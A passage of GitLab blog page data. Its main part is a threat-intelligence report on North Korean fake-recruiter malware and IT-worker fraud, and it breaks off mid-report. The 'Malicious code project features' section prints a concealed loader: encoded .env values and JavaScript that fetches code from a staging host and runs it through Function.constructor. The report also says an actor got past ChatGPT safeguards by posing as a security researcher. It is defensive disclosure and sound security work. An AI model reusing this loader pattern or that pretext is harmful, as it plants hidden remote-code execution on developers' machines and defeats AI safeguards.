statement",{"items":679},[680,683,686],{"text":681,"config":682},"Terms",{"href":507,"dataGaName":508,"dataGaLocation":455},{"text":684,"config":685},"Cookies",{"dataGaName":517,"dataGaLocation":455,"id":518,"isOneTrustButton":27},{"text":687,"config":688},"Privacy",{"href":512,"dataGaName":513,"dataGaLocation":455},[690],{"id":691,"title":18,"body":8,"config":692,"content":694,"description":8,"extension":25,"meta":698,"navigation":27,"path":699,"seo":700,"stem":701,"__hash__":702},"blogAuthors/en-us/blog/authors/isaac-dawson.yml",{"template":693},"BlogAuthor",{"name":18,"config":695},{"headshot":696,"ctfId":697},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669814/Blog/Author%20Headshots/idawson-headshot.jpg","idawson",{},"/en-us/blog/authors/isaac-dawson",{},"en-us/blog/authors/isaac-dawson","UpCqyNOSlM21joWN2Eu9Z_uC29MGdlJWAYDQImap3w8",[704,717,732],{"content":705,"config":715},{"title":706,"description":707,"authors":708,"heroImage":710,"date":711,"body":712,"category":9,"tags":713},"How GitLab built a security control framework from scratch","GitLab's Security Compliance team created a custom control framework to scale across multiple certifications and products — here's why and how you can, too.\n",[709],"Davoud Tu","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-03-04","GitLab's Security Compliance team discovered that existing security control frameworks lacked the customization to fit the platform's multi-product, cloud-native environment.\n\nSo we built our own.\n\nHere's what we learned and why creating your own custom security control framework might be the right move for your compliance program.\n\n## The journey through frameworks\n\nWhen I joined GitLab's Security Compliance team in November 2022, we were using the [Secure Controls Framework](https://securecontrolsframework.com/) to manage controls across our external certifications and internal compliance needs. But as our requirements grew, we realized we needed something more comprehensive. \n\nWith FedRAMP authorization on our roadmap, we chose to adopt [NIST SP 800-53](https://csrc.nist.gov/pubs/sp/800/53/r5/upd1/final) next. NIST SP 800-53 includes more than 1,000 controls, but its comprehensiveness isn’t perfectly suited to GitLab’s environment.\n\nWe didn't need to implement every NIST control, only those applicable to our specific requirements. Our focus was on the quality of controls rather than quantity. Implementing unnecessary controls doesn't improve security; in fact, too many can make an environment less secure as individuals find ways to circumvent overly restrictive or irrelevant controls. \n\nSome controls also lacked the necessary granularity for our needs. For example, NIST’s AC-2 “Account Management” control covers account creation and provisioning, account modification and disabling, account removal and termination, shared and group account management, and account monitoring and reviews.\n\nIn practice, these are _at least_ six distinct controls with different owners, testing procedures, and risks. For attestations like SOC 2, each activity is tested as a separate control because they have different evidence requirements and operational contexts. NIST's all-encompassing AC-2 didn't match how we actually operate controls or how auditors actually assess us, and we needed controls granular enough to reflect our operational environment.  \n\nWe found ourselves constantly customizing, adding, and adapting NIST controls to fit our environment. At some point, we realized we weren't really using NIST SP 800-53 anymore, we were building our own framework on top of it. We decided a custom control framework, one tailored to GitLab’s environment, would best accommodate our multi-product offering and each product’s unique compliance needs.\n\n## Building the GitLab Control Framework\n\nThrough five methodical steps, we built our own common controls framework: the GitLab Control Framework (GCF).\n\n### 1. Analyze what we need\n\nWe reviewed our existing controls and mapped every requirement from external certifications we already maintained, certifications on our roadmap, and our internal compliance program: \n\n**External certifications:**\n\n* SOC 2 Type II  \n* ISO 27001, ISO 27017, ISO 27018, ISO 42001  \n* PCI DSS  \n* TISAX  \n* Cyber Essentials  \n* FedRAMP\n\n**Internal compliance needs:**\n\n* Controls for mission-critical systems that are not in-scope for external certifications   \n* Controls for systems with access to sensitive data\n\nThis gave us the baseline: what controls must exist to meet our compliance obligations.\n\n### 2. Learn from industry frameworks\n\nNext, we compared our requirements against industry-recognized frameworks:\n\n* NIST SP 800-53  \n* NIST Cybersecurity Framework (CSF)  \n* Secure Controls Framework (SCF)  \n* Adobe and Cisco Common Controls Framework (CCF)\n\nHaving adopted frameworks in the past, we wanted to learn from their structure and ensure we weren't missing critical security domains, controls, or best practices.\n\n### 3. Create custom control domains\n\nThrough this analysis, we created 18 custom control domains tailored to GitLab's environment:\n\n\n| Abbreviation | Domain | Scope of controls |\n| :---- | :---- | :---- |\n| AAM | Audit & Accountability Management | Logging, monitoring, and maintaining audit trails of system activities |\n| AIM | Artificial Intelligence Management | Specific to AI system development, deployment, and governance |\n| ASM | Asset Management | Identifying, tracking, and managing organizational assets |\n| BCA | Backups, Contingency, and Availability Management | Business continuity, disaster recovery, and system availability |\n| CHM | Change Management | Managing changes to systems, applications, and infrastructure |\n| CSR | Customer Security Relationship Management | Customer communication, transparency, and security commitments |\n| DPM | Data Protection Management | Protecting data confidentiality, integrity, and privacy |\n| EPM | Endpoint Management | Securing end-user devices and workstations |\n| GPM | Governance & Program Management | Security governance, policies, and program oversight |\n| IAM | Identity, Authentication, and Access Management | User identity, authentication mechanisms, and access control |\n| INC | Incident Management | Detecting, responding to, and recovering from security incidents |\n| ISM | Infrastructure Security Management | Network, server, and foundational infrastructure security |\n| PAS | Product and Application Security Management | Security capabilities built into the GitLab product that are dogfooded to secure GitLab's own development, such as branch protection & code security scanning |\n| PSM | People Security Management | Personnel security, training, and awareness |\n| SDL | Software Development & Acquisition Life Cycle Management | Secure SDLC practices and third-party software acquisition |\n| SRM | Security Risk Management | Risk assessment, treatment, and management |\n| TPR | Third Party Risk Management | Managing security risks from vendors and suppliers |\n| TVM | Threat & Vulnerability Management | Identifying and remediating security vulnerabilities |\n\n\u003Cbr>\u003C/br>\n\n\nEach domain groups related controls into logical families that align with how GitLab's security program is actually organized and operated. This structure provides a methodical approach for adding, updating, or removing controls as our needs evolve.\n\n### 4. Add context and data\n\nWith our domains defined, we needed to address two critical challenges: how to represent controls across multiple products without duplicating the framework, and how to capture meaningful implementation context to actually operate and audit at scale. \n\n#### Scaling across multiple products\n\nGitLab provides multiple product offerings: GitLab.com (multi-tenant SaaS on GCP), GitLab Dedicated (single-tenant SaaS on AWS), and GitLab Dedicated for Government (GitLab’s single-tenant FedRAMP offering on AWS). Each offering has different infrastructure, compliance scopes, and audit requirements. We needed to support product-specific audits without creating entirely separate frameworks.\n\nWe designed a control hierarchy where **Level 1 controls are the framework**, defining what should be implemented at the organizational level. **Level 2 controls are the implementation**, capturing the product-specific details of how each requirement is actually fulfilled.\n\n```mermaid\n%%{init: { \"fontFamily\": \"GitLab Sans\" }}%%\ngraph TD\n    accTitle: Control Hierarchy\n    accDescr: Level 1 requirements cascade to Level 2 implementations.\n    \n    L1[\"Level 1: Framework\u003Cbr/>What must be implemented\"];\n    L2A[\"Level 2: GitLab.com\u003Cbr/>How it's implemented\"];\n    L2B[\"Level 2: Dedicated\u003Cbr/>How it's implemented\"];\n    L2C[\"Level 2: Dedicated for Gov\u003Cbr/>How it's implemented\"];\n    L2D[\"Level 2: Entity\u003Cbr/>(inherited by all)\"];\n    \n    L1-->L2A;\n    L1-->L2B;\n    L1-->L2C;\n    L1-->L2D;\n```\n\n\u003Cbr>\u003C/br>\n\nThis separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.\n\n#### Adding context to controls\n\nTraditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:\n\n* Control owner: Who is accountable for the control and its risk?  \n* Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?  \n* Assets: What specific systems does this control cover?  \n* Frequency: How often is the control performed or tested?  \n* Nature: Is it manual, semi-automated, or fully automated?  \n* Classification: Is this for external certifications or internal risk?  \n* Testing details: How do we assess it? What evidence do we collect?\n\nThis context transforms the GCF from a simple control list into an operationalized control inventory.\n\nWith this structure, we can answer questions like: \n\n* Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com  \n* What controls does the Infrastructure team own? → Filter by owner   \n* Which controls can we automate? → Filter by nature: Manual \n\n### 5. Iterate, mature, and scale\n\nThe GCF isn't static and was designed to evolve with our business and compliance landscape.\n\n#### Pursuing new certifications\n\nBecause we've operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.): \n\n1. Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?\n2. Map requirements: Do existing controls already cover the new certification requirements?   \n3. Identify gaps: What new controls need to be created?  \n4. Update mappings: Link existing controls to the new certification requirements.\n\n#### Adapting to new regulations\n\nWhen new regulations emerge or existing requirements change: \n\n* Review existing controls: Does an existing control already cover the new requirement?   \n* Update or create: Either update existing control language or create a new control.  \n* Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.\n* Map across certifications: Link the control to all relevant certification requirements.\n\n#### Managing control lifecycle\n\nThe framework adapts to various changes:\n\n* Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.\n* Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.  \n* New risks identified: Risk assessments may identify gaps requiring new internal controls.\n\n## The power of common controls: One control, multiple requirements\n\nSecuring once and complying with many isn't just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here's what that looks like in practice, both qualitatively and in the numbers. \n\n### Qualitative results\n\nSince implementing the GCF, we've seen significant improvements in how we manage compliance: \n\n#### Integrated audit approach\n\nThe GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.\n\n#### Faster audit preparation\n\nThrough the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we've defined controls with specific context, our request lists say \"Okta user list\" instead of generic \"production user list,\" eliminating ambiguity and interpretation. We're not collecting “N/A” evidence or leaving it up to auditors to interpret what \"production\" means in our environment. Everything is already scoped to our actual systems.\n\n#### Reduced stakeholder burden\n\nThis integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.\n\n#### Efficient gap assessments\n\nWhen pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what's missing, and what implementation is required. \n\n### Quantifiable results\n\n**Control efficiency:**\n\n* Reduced SOC controls by 58% (200 controls → 84\\) for GitLab.com and 55% (181 → 82) for GitLab Dedicated  \n* One framework now supports 8+ certifications \n\n**Audit efficiency:**\n\n* Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)  \n* 95% evidence acceptance rate before fieldwork for recent PCI audits\n\n**Framework scale:**\n\n* 220+ active controls across 18 custom domains  \n* Mapped to 1,300+ certification requirements  \n* Supports multiple product offerings\n\n## The path forward\n\nThe GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach. \n\n**For security compliance practitioners:** Don't be afraid to build your own framework if industry standards don't fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.\n\n> If you found this helpful, check out our complete [GitLab Control Framework documentation](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/sec-controls/), where we detail our framework methodology, control domains, and field structures.",[9,714],"tutorial",{"featured":27,"template":13,"slug":716},"how-gitlab-built-a-security-control-framework-from-scratch",{"content":718,"config":730},{"title":719,"description":720,"authors":721,"heroImage":724,"date":725,"body":726,"category":9,"tags":727},"Track vulnerability remediation with the updated GitLab Security Dashboard","Quickly prioritize remediation on high-risk projects and measure progress with vulnerability insights.",[722,723],"Alisa Ho","Mike Clausen","https://res.cloudinary.com/about-gitlab-com/image/upload/v1771438388/t6sts5qw4z8561gtlxiq.png","2026-02-19","Security teams and developers face the same frustration: thousands of vulnerabilities demanding attention, without the insights to help them prioritize remediation. Where is risk concentrated and how fast is it being remediated? Where will remediation efforts have the greatest impact? The updated GitLab Security Dashboard helps answer these questions with trend tracking, vulnerability age distribution, and risk scoring by project.\n\n## Measure remediation, not just detection\nApplication security teams don’t struggle to find vulnerabilities; they struggle to make sense of them. Most dashboards show raw counts without context, forcing teams to spend countless hours chasing remediation without understanding what vulnerabilities expose them to the greatest risks.\n\n[GitLab Security Dashboard](https://docs.gitlab.com/user/application_security/security_dashboard/#new-security-dashboards) consolidates all vulnerability data into one view that spans projects, groups, and business units.\n\nIn 18.6, we introduced the first release of the updated Security Dashboard, allowing teams to view vulnerabilities over time and filter based on project or report type. As part of the [18.9 release](https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/), customers will be able to take advantage of new filters and charts that make it easier to slice data by severity, status, scanner, or project and visualize trends such as open vulnerabilities, remediation velocity, vulnerability age distribution, and risk score over time.\n\nRisk scores help teams prioritize remediating their most critical vulnerabilities. The risk score is calculated using factors such as vulnerability age, Exploit Prediction Scoring System (EPSS), and Known Exploited Vulnerability (KEV) scores for related repositories and their security postures. With this data, application security teams can pinpoint which areas need more attention than others. \n\nGitLab Security Dashboard helps application security and development teams:\n* **Track program effectiveness**: Monitor remediation velocity, scanner adoption, and risk posture to show measurable improvement.\n* **Focus on targeted remediation**: Fix vulnerabilities that represent the greater risk to production systems.\n* **Identify areas for remediation training**: Find which teams struggle with remediating vulnerabilities in accordance with company policy to invest in additional training. \n* **Reduce manual reporting**: Eliminate the need for external dashboards and spreadsheets by tracking everything directly within GitLab.\n\nThis update reflects GitLab’s continued commitment to making security measurable, contextual, and integrated into everyday development workflows. GitLab Security Dashboard turns raw findings into actionable insights, giving security and development teams the clarity to prioritize, reduce risk faster, and prove their progress.\n\n## See Security Dashboard in action\nAn application security leader preparing for an executive briefing can now show whether investments are reducing risk with clear trendlines: open vulnerabilities decreasing, vulnerability age decreasing, once-prevalent CWE types trending downward, and a healthy risk score. Instead of presenting raw counts, they can demonstrate how the backlog is shrinking and how risk posture is improving quarter over quarter.\n\nAt the same time, developers can see the same dashboard highlighting critical vulnerabilities in their active projects, allowing them to focus remediation efforts without exporting data or juggling multiple tools.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1166108924?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Security-Dashboard-Demo-Final\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n> For more details on how to get started with GitLab Security Dashboard today, check out our [documentation](https://docs.gitlab.com/user/application_security/security_dashboard/).",[9,728,729],"product","features",{"featured":12,"template":13,"slug":731},"track-vulnerability-remediation-with-the-updated-gitlab-security-dashboard",{"content":733,"config":741},{"title":734,"description":735,"authors":736,"heroImage":738,"date":725,"body":739,"category":9,"tags":740},"GitLab Threat Intelligence Team reveals North Korean tradecraft","Gain threat intelligence about North Korea’s Contagious Interview and fake IT worker campaigns and learn how GitLab disrupted their operations.",[737],"Oliver Smith","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751464282/r2ovpvmizpkcngy9kzqu.png","We’re sharing intelligence on threat actors associated with North Korean Contagious Interview and IT worker campaigns to raise awareness of emerging trends in operations and tradecraft. We hope this analysis helps the broader security community defend against evolving threats and address the industry-wide challenge of threat actors using legitimate platforms and tools for their operations.\nPublishing this intelligence reflects our commitment to disrupting threat actor infrastructure. Our security team continuously monitors for accounts that violate our platform’s terms of use and maintains controls designed to prevent the creation of accounts from U.S.-embargoed countries in accordance with applicable trade control laws.\n\n**There is no action needed by GitLab customers and GitLab remains secure.**\n\n## Executive summary\n\n### What is Contagious Interview?\n\nSince at least 2022, North Korean nation-state threat actors have posed as recruiters to induce software developers to execute malicious code projects under the pretense of technical interviews. Malicious projects execute custom malware, allowing threat actors to steal credentials and remotely control devices, enabling financial and identity theft and lateral movement. This malware distribution campaign has impacted thousands of developers and is tracked in industry research as Contagious Interview.\n\n### About the report\nIn 2025, GitLab identified and banned accounts created by North Korean threat actors used for [Contagious Interview](https://attack.mitre.org/groups/G1052/). GitLab’s visibility into these actors' code repositories provides unique, real-time intelligence into the infrastructure powering campaign activity. In some instances, we can leverage this insight to identify private GitLab.com projects created and used by North Korean nation-state threat actors. Some private projects contain malware development artifacts powering North Korean nation-state malware campaigns. Other projects contain records and notes or software capabilities that support North Korean sanctions evasion and revenue generation through [IT worker activity](https://www.fbi.gov/investigate/cyber/alerts/2025/north-korean-it-worker-threats-to-u-s-businesses).\n\nExposing this activity discourages future attempts by these actors to create GitLab accounts and offers insights other organizations can use to enhance their own defenses.\n\nThis report contains a [Year in Review](#year-in-review) summarizing activity from North Korean nation-state actors that used GitLab.com for their operations in 2025, including a campaign-level view into malware infrastructure and technique trends. The report also includes case studies analyzing:\n\n* [Financial records](#case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records) maintained by the manager of a North Korean IT worker cell, detailing proceeds from 2022 to 2025\n* [A synthetic identity creation pipeline](#case-study-2-synthetic-identity-creation-and-service-abuse-at-scale) used to create at least 135 personas, automated to generate professional connections and contact leads at scale\n* [A North Korean IT worker controlling 21 unique personas](#case-study-3-north-korean-operator-controlling-21-personas) and adding their own image to stolen U.S. identity documents\n* [A North Korean IT worker recruiting facilitators](#case-study-4-north-korean-fake-it-worker-operating-from-central-moscow) and working for U.S. organizations while operating from Moscow, Russia\n\nWe’re also sharing more than 600 indicators of compromise associated with these case studies, which can be found in the [Appendix](#appendix-2-indicators-of-compromise).\n\n\n## Year in Review\n\nNorth Korean nation-state malware activity accelerated in the second half of 2025 and peaked in September. We banned an average of 11 accounts per month for distributing North Korean nation-state malware or loaders. We assess that North Korean nation-state malware activity on GitLab.com almost certainly relates to distinct teams operating in parallel based on branching distribution and obfuscation techniques, infrastructure, and malware variants.\n\n### Key findings\n\nHere are our key findings, including 2025 campaign trends and malicious code project features.\n\n#### 2025 campaign trends\n\nIn 2025, we banned 131 unique accounts distributing malicious code projects we attribute to North Korean nation-state threat actors. We identified malicious projects through a combination of proactive detection and user reports. In every instance, threat actors used primarily JavaScript codebases. Malicious repositories executed JavaScript-based malware families tracked publicly as BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant [we identified](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/) in September.\n\nThreat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.\n\nIn more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.\n\n![Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png \"Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.\")\n\nWe observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.\n\n\n![Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png \"Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.\")\n\n#### Malicious code project features\n\nThe most common execution pattern we observed in 2025 had the following features:\n\n* A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.\n* A trigger function intended to source remote content and raise an error.\n* A global invocation of the trigger function in a file executed as soon as the project is run.\n* A custom error handler intended to execute remote content from the trigger function by using `Function.constructor` to load a string as executable code.\n\n\n**Example excerpt from a .env file containing malicious encoded variables:**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw\nRUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy\nRUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0\n```\n\n**Decoded values from the .env file (defanged):**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823\nRUNTIME_CONFIG_ACCESS_KEY=x-secret-header\nRUNTIME_CONFIG_ACCESS_VALUE=secret\n```\n\n**Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:**\n\n```javascript\nconst errorTimeHandler = async () => {\n  try {\n    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);\n    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);\n    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);\n    try {\n      globalConfig = (await axios.get(`${src}`, {\n        headers: {\n          [k]: v\n        }\n      }));\n      log('Runtime config loaded successfully.');\n    } catch (error) {\n      errorHandler(error.response?.data || error.message);\n    }\n  } catch (err) {\n    await errorHandler(err.response?.data || err.message || err);\n  }\n};\n```\n\n**Example custom error handler intended to execute remote code:**\n\n```javascript\nconst errorHandler = (error) => {\n  try {\n    if (typeof error !== 'string') {\n      sss\n      console.error('Invalid error format. Expected a string.');\n      return;\n    }\n    const createHandler = (errCode) => {\n      try {\n        const handler = new(Function.constructor)('require', errCode);\n        return handler;\n      } catch (e) {\n        console.error('Failed:', e.message);\n        return null;\n      }\n    };\n    const handlerFunc = createHandler(error);\n    if (handlerFunc) {\n      handlerFunc(require);\n    } else {\n      console.error('Handler function is not available.');\n    }\n  } catch (globalError) {\n    console.error('Unexpected error inside errorHandler:', globalError.message);\n  }\n};\n```\n\nThe error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.\n\nThe extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.\n\n#### Other notable observations\n\nIn July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.\n\nIn September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.\n\nIn October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.\n\n### Implications\n\nNorth Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.\n\nWe observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.\n\n### Mitigation\n\nWe banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.\n\nWe improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.\n\n\n## Case studies\n\n### Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records\n\n#### Summary\n\nWe identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.\n\n#### Key findings\n\nIn late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.\n\nWe assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.\n\n![Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png \"Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.\")\n\n\nPersonnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently `111.197.183.74`.\n\nDossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.\n\nFinancial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.\n\nSoftware development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.\n\n![Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png \"Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.\")\n\n\n![Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png \"Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.\")\n\n\nThe project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.\n\n![Screenshot of presentation showing cell performance data for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png \"Screenshot of presentation showing cell performance data for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell member performance relative to goals for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png \"Screenshot of presentation showing cell member performance relative to goals for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell performance data by month for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png \"Screenshot of presentation showing cell performance data by month for Q3 2025.\")\n\nWe aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.\n\n![Actual and target cell earnings over time, 2022 to 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png \"Actual and target cell earnings over time, 2022 to 2025.\")\n\nWe assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.\n\nThe private project also contained performance reviews for cell members, dated 2020. These 